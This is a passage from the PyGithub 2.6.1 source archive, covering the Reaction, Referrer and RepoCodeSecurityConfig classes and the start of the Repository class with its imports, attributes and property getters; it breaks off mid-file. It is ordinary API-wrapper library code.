# pragma no branch self._code_search = self._makeClassAttribute(github.Rate.Rate, attributes["code_search"]) if "core" in attributes: # pragma no branch self._core = self._makeClassAttribute(github.Rate.Rate, attributes["core"]) if "dependency_snapshots" in attributes: # pragma no branch self._dependency_snapshots = self._makeClassAttribute(github.Rate.Rate, attributes["dependency_snapshots"]) if "graphql" in attributes: # pragma no branch self._graphql = self._makeClassAttribute(github.Rate.Rate, attributes["graphql"]) if "integration_manifest" in attributes: # pragma no branch self._integration_manifest = self._makeClassAttribute(github.Rate.Rate, attributes["integration_manifest"]) if "scim" in attributes: # pragma no branch self._scim = self._makeClassAttribute(github.Rate.Rate, attributes["scim"]) if "search" in attributes: # pragma no branch self._search = self._makeClassAttribute(github.Rate.Rate, attributes["search"]) if "source_import" in attributes: # pragma no branch self._source_import = self._makeClassAttribute(github.Rate.Rate, attributes["source_import"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Reaction.py0000644000175100001660000001271014756101563016367 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Nicolas Agustín Torres # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import TYPE_CHECKING, Any import github.NamedUser from github.GithubObject import Attribute, CompletableGithubObject, NotSet from . import Consts if TYPE_CHECKING: from github.NamedUser import NamedUser class Reaction(CompletableGithubObject): """ This class represents Reactions. The reference can be found here https://docs.github.com/en/rest/reference/reactions """ def _initAttributes(self) -> None: self._content: Attribute[str] = NotSet self._created_at: Attribute[datetime] = NotSet self._id: Attribute[int] = NotSet self._user: Attribute[NamedUser] = NotSet def __repr__(self) -> str: return self.get__repr__({"id": self._id.value, "user": self._user.value}) @property def content(self) -> str: self._completeIfNotSet(self._content) return self._content.value @property def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property def user(self) -> NamedUser: self._completeIfNotSet(self._user) return self._user.value def delete(self) -> None: """ :calls: `DELETE /reactions/{id} `_ :rtype: None """ self._requester.requestJsonAndCheck( "DELETE", f"{self._parentUrl('')}/reactions/{self.id}", headers={"Accept": Consts.mediaTypeReactionsPreview}, ) def _useAttributes(self, attributes: dict[str, Any]) -> None: if "content" in attributes: # pragma no branch self._content = self._makeStringAttribute(attributes["content"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "user" in attributes: # pragma no branch self._user = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["user"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Referrer.py0000644000175100001660000001113514756101563016377 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Justin Kufro # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from typing import Any, Dict from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class Referrer(NonCompletableGithubObject): """ This class represents a popylar Referrer for a GitHub repository. The reference can be found here https://docs.github.com/en/rest/reference/repos#traffic The OpenAPI schema can be found at - /components/schemas/referrer-traffic """ def _initAttributes(self) -> None: self._count: Attribute[int] = NotSet self._referrer: Attribute[str] = NotSet self._uniques: Attribute[int] = NotSet def __repr__(self) -> str: return self.get__repr__( { "referrer": self._referrer.value, "count": self._count.value, "uniques": self._uniques.value, } ) @property def count(self) -> int: return self._count.value @property def referrer(self) -> str: return self._referrer.value @property def uniques(self) -> int: return self._uniques.value def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "count" in attributes: # pragma no branch self._count = self._makeIntAttribute(attributes["count"]) if "referrer" in attributes: # pragma no branch self._referrer = self._makeStringAttribute(attributes["referrer"]) if "uniques" in attributes: # pragma no branch self._uniques = self._makeIntAttribute(attributes["uniques"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/RepoCodeSecurityConfig.py0000644000175100001660000001111214756101563021174 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Justin Kufro # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Bill Napier # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from typing import TYPE_CHECKING, Any import github.CodeSecurityConfig from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet if TYPE_CHECKING: pass class RepoCodeSecurityConfig(NonCompletableGithubObject): """ This class represents Configurations for Code Security for a Repository. The reference can be found here https://docs.github.com/en/rest/code-security/configurations. """ def _initAttributes(self) -> None: self._configuration: Attribute[github.CodeSecurityConfig.CodeSecurityConfig] = NotSet self._status: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__( { "configuration": self.configuration, } ) @property def configuration(self) -> github.CodeSecurityConfig.CodeSecurityConfig: return self._configuration.value @property def status(self) -> str: return self._status.value def _useAttributes(self, attributes: dict[str, Any]) -> None: if "configuration" in attributes: # pragma no branch self._configuration = self._makeClassAttribute( github.CodeSecurityConfig.CodeSecurityConfig, attributes["configuration"] ) if "status" in attributes: # pragma no branch self._status = self._makeStringAttribute(attributes["status"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Repository.py0000644000175100001660000062025214756101563017010 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Christopher Gilbert # # Copyright 2012 Steve English # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Adrian Petrescu # # Copyright 2013 Cameron White # # Copyright 2013 David Farr # # Copyright 2013 Mark Roddy # # Copyright 2013 Vincent Jacques # # Copyright 2013 martinqt # # Copyright 2014 Vincent Jacques # # Copyright 2015 Aaron Levine # # Copyright 2015 Christopher Wilcox # # Copyright 2015 Dan Vanderkam # # Copyright 2015 Ed Holland # # Copyright 2015 Enix Yu # # Copyright 2015 Jay # # Copyright 2015 Jonathan Debonis # # Copyright 2015 Kevin Lewandowski # # Copyright 2015 Kyle Hornberg # # Copyright 2016 @tmshn # # Copyright 2016 Dustin Spicuzza # # Copyright 2016 Enix Yu # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Per Øyvind Karlsen # # Copyright 2016 Peter Buckley # # Copyright 2016 Sylvus # # Copyright 2016 fukatani # # Copyright 2016 ghfan # # Copyright 2017 Andreas Lutro # # Copyright 2017 Ben Firshman # # Copyright 2017 Chris McBride # # Copyright 2017 Hugo # # Copyright 2017 Jannis Gebauer # # Copyright 2017 Jason White # # Copyright 2017 Jimmy Zelinskie # # Copyright 2017 Simon # # Copyright 2018 Aaron L. Levine # # Copyright 2018 AetherDeity # # Copyright 2018 Alice GIRARD # # Copyright 2018 Andrew Smith # # Copyright 2018 Benoit Latinier # # Copyright 2018 Brian Torres-Gil # # Copyright 2018 Hayden Fuss # # Copyright 2018 Ilya Konstantinov # # Copyright 2018 Jacopo Notarstefano # # Copyright 2018 John Hui # # Copyright 2018 Justin Kufro # # Copyright 2018 Mateusz Loskot # # Copyright 2018 Michael Behrisch # # Copyright 2018 Nicholas Buse # # Copyright 2018 Philip May # # Copyright 2018 Raihaan <31362124+res0nance@users.noreply.github.com> # # Copyright 2018 Shinichi TAMURA # # Copyright 2018 Steve Kowalik # # Copyright 2018 Vinay Hegde # # Copyright 2018 Wan Liuyang # # Copyright 2018 Will Yardley # # Copyright 2018 Yossarian King # # Copyright 2018 per1234 # # Copyright 2018 sechastain # # Copyright 2018 sfdye # # Copyright 2019 Adam Baratz # # Copyright 2019 Alex # # Copyright 2019 Kevin LaFlamme # # Copyright 2019 Olof-Joachim Frahm (欧雅福) # # Copyright 2019 Steve Kowalik # # Copyright 2019 Tim Gates # # Copyright 2019 Wan Liuyang # # Copyright 2019 Will Li # # Copyright 2020 Alice GIRARD # # Copyright 2020 Anuj Bansal # # Copyright 2020 Chris de Graaf # # Copyright 2020 Dhruv Manilawala # # Copyright 2020 Dominic Davis-Foster # # Copyright 2020 Florent Clarret # # Copyright 2020 Glenn McDonald # # Copyright 2020 Huw Jones # # Copyright 2020 Mark Bromell # # Copyright 2020 Max Wittig # # Copyright 2020 Pascal Hofmann # # Copyright 2020 Steve Kowalik # # Copyright 2020 Tim Gates # # Copyright 2020 Victor Zeng # # Copyright 2020 ton-katsu # # Copyright 2021 Chris Keating # # Copyright 2021 Floyd Hightower # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2021 Tanner <51724788+lightningboltemoji@users.noreply.github.com> # # Copyright 2021 xmo-odoo # # Copyright 2022 Aleksei Fedotov # # Copyright 2022 Eric Nieuwland # # Copyright 2022 Ibrahim Hussaini # # Copyright 2022 KimSia Sim <245021+simkimsia@users.noreply.github.com> # # Copyright 2022 Marco Köpcke # # Copyright 2023 Andrew Collington # # Copyright 2023 Andrew Dawes <53574062+AndrewJDawes@users.noreply.github.com> # # Copyright 2023 Armen Martirosyan # # Copyright 2023 BradChengIRESS <49461141+BradChengIRESS@users.noreply.github.com># # Copyright 2023 Enrico Minack # # Copyright 2023 Felipe Peter # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Jonathan Greg <31892308+jmgreg31@users.noreply.github.com> # # Copyright 2023 Jonathan Leitschuh # # Copyright 2023 Joseph Henrich # # Copyright 2023 Kevin Grandjean # # Copyright 2023 Mark Amery # # Copyright 2023 Mauricio Alejandro Martínez Pacheco # # Copyright 2023 Mauricio Alejandro Martínez Pacheco # # Copyright 2023 Max Mehl <6170081+mxmehl@users.noreply.github.com> # # Copyright 2023 Micael <10292135+notmicaelfilipe@users.noreply.github.com> # # Copyright 2023 Mikhail f. Shiryaev # # Copyright 2023 Oskar Jansson <56458534+janssonoskar@users.noreply.github.com># # Copyright 2023 Philipp A # # Copyright 2023 Roberto Pastor Muela <37798125+RobPasMue@users.noreply.github.com># # Copyright 2023 Sol Redfern <59831933+Tsuesun@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2023 Wojciech Barczyński <104033489+WojciechBarczynski@users.noreply.github.com># # Copyright 2023 alson # # Copyright 2023 chantra # # Copyright 2024 Benjamin K <53038537+treee111@users.noreply.github.com> # # Copyright 2024 Caleb McCombs # # Copyright 2024 Chris Wells # # Copyright 2024 Enrico Minack # # Copyright 2024 Heitor Polidoro # # Copyright 2024 Heitor de Bittencourt # # Copyright 2024 Jacky Lam # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Sebastien NICOT # # Copyright 2024 Sebastián Ramírez # # Copyright 2024 Thomas Cooper # # Copyright 2024 Thomas Crowley <15927917+thomascrowley@users.noreply.github.com># # Copyright 2024 jodelasur <34933233+jodelasur@users.noreply.github.com> # # Copyright 2025 Bill Napier # # Copyright 2025 Enrico Minack # # Copyright 2025 Mikhail f. Shiryaev # # Copyright 2025 Tan An Nie <121005973+tanannie22@users.noreply.github.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations import collections import urllib.parse from base64 import b64encode from collections.abc import Iterable from datetime import date, datetime, timezone from typing import TYPE_CHECKING, Any from deprecated import deprecated import github.AdvisoryCredit import github.AdvisoryVulnerability import github.Artifact import github.AuthenticatedUser import github.Autolink import github.Branch import github.CheckRun import github.CheckSuite import github.Clones import github.CodeScanAlert import github.Commit import github.CommitComment import github.Comparison import github.ContentFile import github.DependabotAlert import github.Deployment import github.Download import github.Environment import github.EnvironmentDeploymentBranchPolicy import github.EnvironmentProtectionRule import github.EnvironmentProtectionRuleReviewer import github.Event import github.GitBlob import github.GitCommit import github.GithubObject import github.GitRef import github.GitRelease import github.GitReleaseAsset import github.GitTag import github.GitTree import github.Hook import github.HookDelivery import github.Invitation import github.Issue import github.IssueComment import github.IssueEvent import github.Label import github.License import github.MergedUpstream import github.Milestone import github.NamedUser import github.Notification import github.Organization import github.PaginatedList import github.Path import github.Permissions import github.Project import github.PublicKey import github.PullRequest import github.PullRequestComment import github.Referrer import github.RepoCodeSecurityConfig import github.RepositoryAdvisory import github.RepositoryDiscussion import github.RepositoryKey import github.RepositoryPreferences import github.Secret import github.SecurityAndAnalysis import github.SelfHostedActionsRunner import github.SourceImport import github.Stargazer import github.StatsCodeFrequency import github.StatsCommitActivity import github.StatsContributor import github.StatsParticipation import github.StatsPunchCard import github.Tag import github.Team import github.Variable import github.View import github.Workflow import github.WorkflowRun from github import Consts from github.Environment import Environment from github.GithubObject import ( Attribute, CompletableGithubObject, NotSet, Opt, _NotSetType, is_defined, is_optional, is_optional_list, is_undefined, ) from github.PaginatedList import PaginatedList if TYPE_CHECKING: from github.Artifact import Artifact from github.AuthenticatedUser import AuthenticatedUser from github.Autolink import Autolink from github.Branch import Branch from github.CheckRun import CheckRun from github.CheckSuite import CheckSuite from github.Clones import Clones from github.CodeScanAlert import CodeScanAlert from github.Commit import Commit from github.CommitComment import CommitComment from github.Comparison import Comparison from github.ContentFile import ContentFile from github.DependabotAlert import DependabotAlert from github.Deployment import Deployment from github.Download import Download from github.EnvironmentDeploymentBranchPolicy import ( EnvironmentDeploymentBranchPolicyParams, ) from github.EnvironmentProtectionRuleReviewer import ReviewerParams from github.Event import Event from github.GitBlob import GitBlob from github.GitCommit import GitCommit from github.GitRef import GitRef from github.GitRelease import GitRelease from github.GitReleaseAsset import GitReleaseAsset from github.GitTag import GitTag from github.GitTree import GitTree from github.Hook import Hook from github.InputGitAuthor import InputGitAuthor from github.InputGitTreeElement import InputGitTreeElement from github.Invitation import Invitation from github.Issue import Issue from github.IssueComment import IssueComment from github.IssueEvent import IssueEvent from github.Label import Label from github.License import License from github.MergedUpstream import MergedUpstream from github.Milestone import Milestone from github.NamedUser import NamedUser from github.Notification import Notification from github.Organization import Organization from github.Path import Path from github.Permissions import Permissions from github.Project import Project from github.PublicKey import PublicKey from github.PullRequest import PullRequest from github.PullRequestComment import PullRequestComment from github.Referrer import Referrer from github.RepoCodeSecurityConfig import RepoCodeSecurityConfig from github.RepositoryDiscussion import RepositoryDiscussion from github.RepositoryKey import RepositoryKey from github.RepositoryPreferences import RepositoryPreferences from github.SecurityAndAnalysis import SecurityAndAnalysis from github.SelfHostedActionsRunner import SelfHostedActionsRunner from github.SourceImport import SourceImport from github.Stargazer import Stargazer from github.StatsCodeFrequency import StatsCodeFrequency from github.StatsCommitActivity import StatsCommitActivity from github.StatsContributor import StatsContributor from github.StatsParticipation import StatsParticipation from github.StatsPunchCard import StatsPunchCard from github.Tag import Tag from github.Team import Team from github.View import View from github.Workflow import Workflow from github.WorkflowRun import WorkflowRun class Repository(CompletableGithubObject): """ This class represents Repositories. The reference can be found here https://docs.github.com/en/rest/reference/repos The OpenAPI schema can be found at - /components/schemas/event/properties/repo - /components/schemas/full-repository - /components/schemas/minimal-repository - /components/schemas/nullable-repository - /components/schemas/pull-request-minimal/properties/base/properties/repo - /components/schemas/pull-request-minimal/properties/head/properties/repo - /components/schemas/repository - /components/schemas/simple-repository """ def _initAttributes(self) -> None: self._allow_auto_merge: Attribute[bool] = NotSet self._allow_forking: Attribute[bool] = NotSet self._allow_merge_commit: Attribute[bool] = NotSet self._allow_rebase_merge: Attribute[bool] = NotSet self._allow_squash_merge: Attribute[bool] = NotSet self._allow_update_branch: Attribute[bool] = NotSet self._anonymous_access_enabled: Attribute[bool] = NotSet self._archive_url: Attribute[str] = NotSet self._archived: Attribute[bool] = NotSet self._assignees_url: Attribute[str] = NotSet self._blobs_url: Attribute[str] = NotSet self._branches_url: Attribute[str] = NotSet self._clone_url: Attribute[str] = NotSet self._code_of_conduct: Attribute[dict[str, Any]] = NotSet self._collaborators_url: Attribute[str] = NotSet self._comments_url: Attribute[str] = NotSet self._commits_url: Attribute[str] = NotSet self._compare_url: Attribute[str] = NotSet self._contents_url: Attribute[str] = NotSet self._contributors_url: Attribute[str] = NotSet self._created_at: Attribute[datetime] = NotSet self._custom_properties: Attribute[dict[str, None | str | list]] = NotSet # type: ignore self._default_branch: Attribute[str] = NotSet self._delete_branch_on_merge: Attribute[bool] = NotSet self._deployments_url: Attribute[str] = NotSet self._description: Attribute[str] = NotSet self._disabled: Attribute[bool] = NotSet self._downloads_url: Attribute[str] = NotSet self._events_url: Attribute[str] = NotSet self._fork: Attribute[bool] = NotSet self._forks: Attribute[int] = NotSet self._forks_count: Attribute[int] = NotSet self._forks_url: Attribute[str] = NotSet self._full_name: Attribute[str] = NotSet self._git_commits_url: Attribute[str] = NotSet self._git_refs_url: Attribute[str] = NotSet self._git_tags_url: Attribute[str] = NotSet self._git_url: Attribute[str] = NotSet self._has_discussions: Attribute[bool] = NotSet self._has_downloads: Attribute[bool] = NotSet self._has_issues: Attribute[bool] = NotSet self._has_pages: Attribute[bool] = NotSet self._has_projects: Attribute[bool] = NotSet self._has_wiki: Attribute[bool] = NotSet self._homepage: Attribute[str] = NotSet self._hooks_url: Attribute[str] = NotSet self._html_url: Attribute[str] = NotSet self._id: Attribute[int] = NotSet self._is_template: Attribute[bool] = NotSet self._issue_comment_url: Attribute[str] = NotSet self._issue_events_url: Attribute[str] = NotSet self._issues_url: Attribute[str] = NotSet self._keys_url: Attribute[str] = NotSet self._labels_url: Attribute[str] = NotSet self._language: Attribute[str] = NotSet self._languages_url: Attribute[str] = NotSet self._license: Attribute[License] = NotSet self._master_branch: Attribute[str] = NotSet self._merge_commit_message: Attribute[str] = NotSet self._merge_commit_title: Attribute[str] = NotSet self._merges_url: Attribute[str] = NotSet self._milestones_url: Attribute[str] = NotSet self._mirror_url: Attribute[str] = NotSet self._name: Attribute[str] = NotSet self._network_count: Attribute[int] = NotSet self._node_id: Attribute[str] = NotSet self._notifications_url: Attribute[str] = NotSet self._open_issues: Attribute[int] = NotSet self._open_issues_count: Attribute[int] = NotSet self._organization: Attribute[Organization] = NotSet self._owner: Attribute[NamedUser] = NotSet self._parent: Attribute[Repository] = NotSet self._permissions: Attribute[Permissions] = NotSet self._private: Attribute[bool] = NotSet self._pulls_url: Attribute[str] = NotSet self._pushed_at: Attribute[datetime] = NotSet self._releases_url: Attribute[str] = NotSet self._role_name: Attribute[str] = NotSet self._security_and_analysis: Attribute[SecurityAndAnalysis] = NotSet self._size: Attribute[int] = NotSet self._source: Attribute[Repository] = NotSet self._squash_merge_commit_message: Attribute[str] = NotSet self._squash_merge_commit_title: Attribute[str] = NotSet self._ssh_url: Attribute[str] = NotSet self._stargazers_count: Attribute[int] = NotSet self._stargazers_url: Attribute[str] = NotSet self._starred_at: Attribute[str] = NotSet self._statuses_url: Attribute[str] = NotSet self._subscribers_count: Attribute[int] = NotSet self._subscribers_url: Attribute[str] = NotSet self._subscription_url: Attribute[str] = NotSet self._svn_url: Attribute[str] = NotSet self._tags_url: Attribute[str] = NotSet self._teams_url: Attribute[str] = NotSet self._temp_clone_token: Attribute[str] = NotSet self._template_repository: Attribute[Repository] = NotSet self._topics: Attribute[list[str]] = NotSet self._trees_url: Attribute[str] = NotSet self._updated_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet self._use_squash_pr_title_as_default: Attribute[bool] = NotSet self._visibility: Attribute[str] = NotSet self._watchers: Attribute[int] = NotSet self._watchers_count: Attribute[int] = NotSet self._web_commit_signoff_required: Attribute[bool] = NotSet def __repr__(self) -> str: return self.get__repr__({"full_name": self._full_name.value}) @property def _identity(self) -> str: return f"{self.owner.login}/{self.name}" @property def allow_auto_merge(self) -> bool: """ :type: bool """ self._completeIfNotSet(self._allow_auto_merge) return self._allow_auto_merge.value @property def allow_forking(self) -> bool: """ :type: bool """ self._completeIfNotSet(self._allow_forking) return self._allow_forking.value @property def allow_merge_commit(self) -> bool: """ :type: bool """ self._completeIfNotSet(self._allow_merge_commit) return self._allow_merge_commit.value @property def allow_rebase_merge(self) -> bool: """ :type: bool """ self._completeIfNotSet(self._allow_rebase_merge) return self._allow_rebase_merge.value @property def allow_squash_merge(self) -> bool: """ :type: bool """ self._completeIfNotSet(self._allow_squash_merge) return self._allow_squash_merge.value @property def allow_update_branch(self) -> bool: """ :type: bool """ self._completeIfNotSet(self._allow_update_branch) return self._allow_update_branch.value @property def anonymous_access_enabled(self) -> bool: self._completeIfNotSet(self._anonymous_access_enabled) return self._anonymous_access_enabled.value @property def archive_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._archive_url) return self._archive_url.value @property def archived(self) -> bool: """ :type: bool """ self._completeIfNotSet(self._archived) return self._archived.value @property def assignees_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._assignees_url) return self._assignees_url.value @property def blobs_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._blobs_url) return self._blobs_url.value @property def branches_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._branches_url) return self._branches_url.value @property def clone_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._clone_url) return self._clone_url.value @property def code_of_conduct(self) -> dict[str, Any]: self._completeIfNotSet(self._code_of_conduct) return self._code_of_conduct.value @property def collaborators_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._collaborators_url) return self._collaborators_url.value @property def comments_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._comments_url) return self._comments_url.value @property def commits_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._commits_url) return self._commits_url.value @property def compare_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._compare_url) return self._compare_url.value @property def contents_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._contents_url) return self._contents_url.value @property def contributors_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._contributors_url) return self._contributors_url.value @property def created_at(self) -> datetime: """ :type: datetime """ self._completeIfNotSet(self._created_at) return self._created_at.value @property def custom_properties(self) -> dict[str, None | str | list]: """ :type: dict[str, None | str | list] """ self._completeIfNotSet(self._custom_properties) return self._custom_properties.value @property def default_branch(self) -> str: """ :type: string """ self._completeIfNotSet(self._default_branch) return self._default_branch.value @property def delete_branch_on_merge(self) -> bool: """ :type: bool """ self._completeIfNotSet(self._delete_branch_on_merge) return self._delete_branch_on_merge.value @property def deployments_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._deployments_url) return self._deployments_url.value @property def description(self) -> str: """ :type: string """ self._completeIfNotSet(self._description) return self._description.value @property def disabled(self) -> bool: self._completeIfNotSet(self._disabled) return self._disabled.value @property def downloads_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._downloads_url) return self._downloads_url.value @property def events_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._events_url) return self._events_url.value @property def fork(self) -> bool: """ :type: bool """ self._completeIfNotSet(self._fork) return self._fork.value @property def forks(self) -> int: """ :type: integer """ self._completeIfNotSet(self._forks) return self._forks.value @property def forks_count(self) -> int: """ :type: integer """ self._completeIfNotSet(self._forks_count) return self._forks_count.value @property def forks_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._forks_url) return self._forks_url.value @property def full_name(self) -> str: """ :type: string """ self._completeIfNotSet(self._full_name) return self._full_name.value @property def git_commits_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._git_commits_url) return self._git_commits_url.value @property def git_refs_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._git_refs_url) return self._git_refs_url.value @property def git_tags_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._git_tags_url) return self._git_tags_url.value @property def git_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._git_url) return self._git_url.value @property def has_discussions(self) -> bool: """ :type: bool """ self._completeIfNotSet(self._has_discussions) return self._has_discussions.value @property def has_downloads(self) -> bool: """ :type: bool """ self._completeIfNotSet(self._has_downloads) return self._has_downloads.value @property def has_issues(self) -> bool: """ :type: bool """ self._completeIfNotSet(self._has_issues) return self._has_issues.value @property def has_pages(self) -> bool: """ :type: bool """ self._completeIfNotSet(self._has_pages) return self._has_pages.value @property def has_projects(self) -> bool: """ :type: bool """ self._completeIfNotSet(self._has_projects) return self._has_projects.value @property def has_wiki(self) -> bool: """ :type: bool """ self._completeIfNotSet(self._has_wiki) return self._has_wiki.value @property def homepage(self) -> str: """ :type: string """ self._completeIfNotSet(self._homepage) return self._homepage.value @property def hooks_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._hooks_url) return self._hooks_url.value @property def html_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._html_url) return self._html_url.value @property def id(self) -> int: """ :type: integer """ self._completeIfNotSet(self._id) return self._id.value @property def is_template(self) -> bool: """ :type: bool """ self._completeIfNotSet(self._is_template) return self._is_template.value @property def issue_comment_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._issue_comment_url) return self._issue_comment_url.value @property def issue_events_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._issue_events_url) return self._issue_events_url.value @property def issues_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._issues_url) return self._issues_url.value @property def keys_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._keys_url) return self._keys_url.value @property def labels_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._labels_url) return self._labels_url.value @property def language(self) -> str: """ :type: string """ self._completeIfNotSet(self._language) return self._language.value @property def languages_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._languages_url) return self._languages_url.value @property def license(self) -> License: self._completeIfNotSet(self._license) return self._license.value @property def master_branch(self) -> str: self._completeIfNotSet(self._master_branch) return self._master_branch.value @property def merge_commit_message(self) -> str: """ :type: string """ self._completeIfNotSet(self._merge_commit_message) return self._merge_commit_message.value @property def merge_commit_title(self) -> str: """ :type: string """ self._completeIfNotSet(self._merge_commit_title) return self._merge_commit_title.value @property def merges_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._merges_url) return self._merges_url.value @property def milestones_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._milestones_url) return self._milestones_url.value @property def mirror_url(self) -> str: """ :type: string """ self._completeIfNotSet(self._mirror_url) 